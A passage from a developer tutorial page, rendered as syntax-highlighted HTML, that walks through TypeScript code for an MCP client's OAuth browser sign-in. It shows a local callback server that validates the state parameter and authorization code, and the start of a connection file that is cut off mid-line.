class="token-line" style="color:#0B1633"><span class="token plain">  redirectUrl</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">string</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  expectedState</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">string</span><span class="token plain"> </span><span class="token operator">|</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">undefined</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">)</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">Promise</span><span class="token operator">&lt;</span><span class="token plain">URLSearchParams</span><span class="token operator">&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> redirect </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name constant" style="color:#C43300;font-weight:600">URL</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">redirectUrl</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name builtin" style="color:#1F4FFF;font-weight:600">Promise</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">resolve</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> reject</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> server </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">createServer</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">req</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> res</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> url </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name constant" style="color:#C43300;font-weight:600">URL</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">req</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">url </span><span class="token operator">??</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'/'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> redirect</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token keyword" style="color:#1F4FFF">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">url</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">pathname </span><span class="token operator">!==</span><span class="token plain"> redirect</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">pathname</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        res</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">writeHead</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token number" style="color:#C43300">404</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">end</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> params </span><span class="token operator">=</span><span class="token plain"> url</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">searchParams</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> error </span><span class="token operator">=</span><span class="token plain"> params</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">get</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">'error'</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token keyword" style="color:#1F4FFF">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">error</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        </span><span class="token function" style="color:#0B1633;font-weight:600">finish</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">res</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token number" style="color:#C43300">400</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'Authorization failed. You can close this tab.'</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        </span><span class="token function" style="color:#0B1633;font-weight:600">reject</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">Error</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">          </span><span class="token template-string template-punctuation string" style="color:#15803D">`</span><span class="token template-string string" style="color:#15803D">Authorization failed: </span><span class="token template-string interpolation interpolation-punctuation punctuation" style="color:#5A6072">${</span><span class="token template-string interpolation" style="color:#15803D">params</span><span class="token template-string interpolation punctuation" style="color:#5A6072">.</span><span class="token template-string interpolation function" style="color:#0B1633;font-weight:600">get</span><span class="token template-string interpolation punctuation" style="color:#5A6072">(</span><span class="token template-string interpolation string" style="color:#15803D">'error_description'</span><span class="token template-string interpolation punctuation" style="color:#5A6072">)</span><span class="token template-string interpolation" style="color:#15803D"> </span><span class="token template-string interpolation operator" style="color:#15803D">??</span><span class="token template-string interpolation" style="color:#15803D"> error</span><span class="token template-string interpolation interpolation-punctuation punctuation" style="color:#5A6072">}</span><span class="token template-string template-punctuation string" style="color:#15803D">`</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        </span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token keyword" style="color:#1F4FFF">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token operator">!</span><span class="token plain">expectedState </span><span class="token operator">||</span><span class="token plain"> params</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">get</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">'state'</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token operator">!==</span><span class="token plain"> expectedState</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        </span><span class="token function" style="color:#0B1633;font-weight:600">finish</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">res</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token number" style="color:#C43300">400</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'Invalid authorization response.'</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        </span><span class="token function" style="color:#0B1633;font-weight:600">reject</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">Error</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">'OAuth state mismatch'</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token keyword" style="color:#1F4FFF">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token operator">!</span><span class="token plain">params</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">get</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">'code'</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        </span><span class="token function" style="color:#0B1633;font-weight:600">finish</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">res</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token number" style="color:#C43300">400</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'Invalid authorization response.'</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        </span><span class="token function" style="color:#0B1633;font-weight:600">reject</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">Error</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">'Missing authorization code'</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token function" style="color:#0B1633;font-weight:600">finish</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">res</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token number" style="color:#C43300">200</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'Authorization complete. You can close this tab.'</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token function" style="color:#0B1633;font-weight:600">resolve</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">params</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token comment" style="color:#5A6072;font-style:italic">// Give up if the user never finishes signing in.</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> timeout </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">setTimeout</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      server</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">close</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token function" style="color:#0B1633;font-weight:600">reject</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">Error</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">'Timed out waiting for authorization'</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token constant" style="color:#C43300">TIMEOUT_MS</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">function</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">finish</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">res</span><span class="token operator">:</span><span class="token plain"> ServerResponse</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> status</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">number</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> message</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">string</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      res</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">writeHead</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">status</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> </span><span class="token string-property property" style="color:#1F4FFF">'Content-Type'</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'text/plain'</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">end</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">message</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token function" style="color:#0B1633;font-weight:600">clearTimeout</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">timeout</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      server</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">close</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token comment" style="color:#5A6072;font-style:italic">// For example, another program is already using the port.</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    server</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">on</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">'error'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> error </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token function" style="color:#0B1633;font-weight:600">clearTimeout</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">timeout</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token function" style="color:#0B1633;font-weight:600">reject</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">error</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    server</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">listen</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token function" style="color:#0B1633;font-weight:600">Number</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">redirect</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">port</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> redirect</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">hostname</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><br></span></code></pre></div></div>
<p><code>waitForCallback()</code> accepts one request on the callback path. It rejects the response if the authorization server reported an error, if the <code>state</code> doesn't match, or if there's no code. Then it shuts down. It also gives up after five minutes, and fails straight away if the port is taken.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-connection">The connection<a href="https://choreolabs.com/identity-and-access-management/learn/langgraph-oauth-mcp-server#the-connection" class="hash-link" aria-label="Direct link to The connection" title="Direct link to The connection" translate="no">​</a></h3>
<p>The last file ties them together. <code>connect()</code> tries to connect, and if the server answers <code>401</code>, it runs the browser sign-in and connects again with the token.</p>
<p>Create <code>mcp-connection.ts</code>:</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockTitle_OeMC">mcp-connection.ts</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  Client</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  StreamableHTTPClientTransport</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  UnauthorizedError</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'@modelcontextprotocol/client'</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> waitForCallback </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'./callback-server.js'</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> LocalOAuthProvider </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'./oauth-provider.js'</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> serverUrl </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name constant" style="color:#C43300;font-weight:600">URL</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  process</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">env</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token constant" style="color:#C43300">MCP_SERVER_URL</span><span class="token operator">!</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">export</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> provider </span><span class="token operator">=</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">LocalOAuthProvider</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  process</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">env</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token constant" style="color:#C43300">MCP_CLIENT_ID</span><span class="token operator">!</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  process</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">env</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token constant" style="color:#C43300">OAUTH_ISSUER</span><span class="token operator">!</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">function</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">createClient</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">Client</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      name</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'example-client'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      version</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'1.0.0'</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      versionNegotiation</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        mode</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'auto'</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">function</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">createTransport</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">StreamableHTTPClientTransport</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token 